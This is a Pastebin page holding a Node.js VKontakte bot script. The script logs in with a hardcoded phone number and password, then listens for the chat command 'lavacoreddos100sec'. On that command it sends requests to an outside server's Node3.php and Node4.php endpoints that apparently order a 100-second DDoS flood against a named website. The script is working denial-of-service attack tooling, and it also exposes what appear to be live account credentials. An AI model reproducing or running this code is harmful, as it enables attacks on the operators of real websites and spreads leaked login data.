Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var VK = require('vk-io');
- var http = require("http");
- var https = require("https");
- vk = new VK();
- //settings
- vk.setting({
- id : 546082071,
- phone : '79264656408',
- pass : 'temkakek123A'
- });
- /*
- id - Ваш id вк - vk.com/id(id)
- phone - Ваш номер телефона без плюса (Если почта, то заменяем phone на login)
- pass - Ваш пароль от учетной записи
- */
- // Auth
- /*
- # auth method
- iphone - vk.iphoneAuth();
- ipad - vk.ipadAuth();
- Windows Phone - vk.windowsPhoneAuth();
- Windows - vk.windowsAuth();
- Android - vk.androidAuth();
- */
- const Auth = vk.iphoneAuth();
- Auth.run()
- .then((user) => {
- vk.setToken(user.token);
- console.log('[id546082071] Auth successful!');
- //
- vk.longpoll()
- .then(() => {
- vk.on('message', (message) => {
- for(var i = 0; i < message.flags; i++) {
- if(message.flags[i] == 'outbot') return;
- }
- //
- if(message.text == 'lavacoreddos100sec') {
- sendMessage(message.user, 'Starting...', function(status) {
- if(!status) {
- console.log('Ошибка при отправлении сообщения!');
- return;
- }
- console.log('Сообщение отправлено!');
- var http = require('http');
- var options = {
- host: '31.131.22.138',
- path: '/Node3.php?key=AnimeKey&time=100&method=HTML&host=https://lavacore.su/'
- };
- var options2 = {
- host: '31.131.22.138',
- path: '/Node4.php?key=AnimeKey&time=100&method=HTML&host=https://lavacore.su/'
- };
- var req = http.get(options, function(res) {
- console.log('STATUS: ' + res.statusCode);
- console.log('HEADERS: ' + JSON.stringify(res.headers));
- // Buffer the body entirely for processing as a whole.
- var bodyChunks = [];
- res.on('data', function(chunk) {
- // You can process streamed parts here...
- bodyChunks.push(chunk);
- }).on('end', function() {
- var body = Buffer.concat(bodyChunks);
- console.log('BODY: ' + body);
- // ...and/or process the entire body here.
- })
- });
- var req = http.get(options2, function(res) {
- console.log('STATUS: ' + res.statusCode);
- console.log('HEADERS: ' + JSON.stringify(res.headers));
- // Buffer the body entirely for processing as a whole.
- var bodyChunks = [];
- res.on('data', function(chunk) {
- // You can process streamed parts here...
- bodyChunks.push(chunk);
- }).on('end', function() {
- var body = Buffer.concat(bodyChunks);
- console.log('BODY: ' + body);
- // ...and/or process the entire body here.
- })
- });
- req.on('error', function(e) {
- console.log('ERROR: ' + e.message);
- });
- });
- }
- //
- });
- })
- .catch((error) => {
- console.error(error);
- });
- //
- })
- .catch((err) => {
- throw err;
- });
- function sendMessage(user, message, callback) {
- vk.api.messages.send({
- user_id : user,
- message : message
- })
- .then((data) => {
- callback(true);
- })
- .catch((err) => {
- callback(false);
- throw err;
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement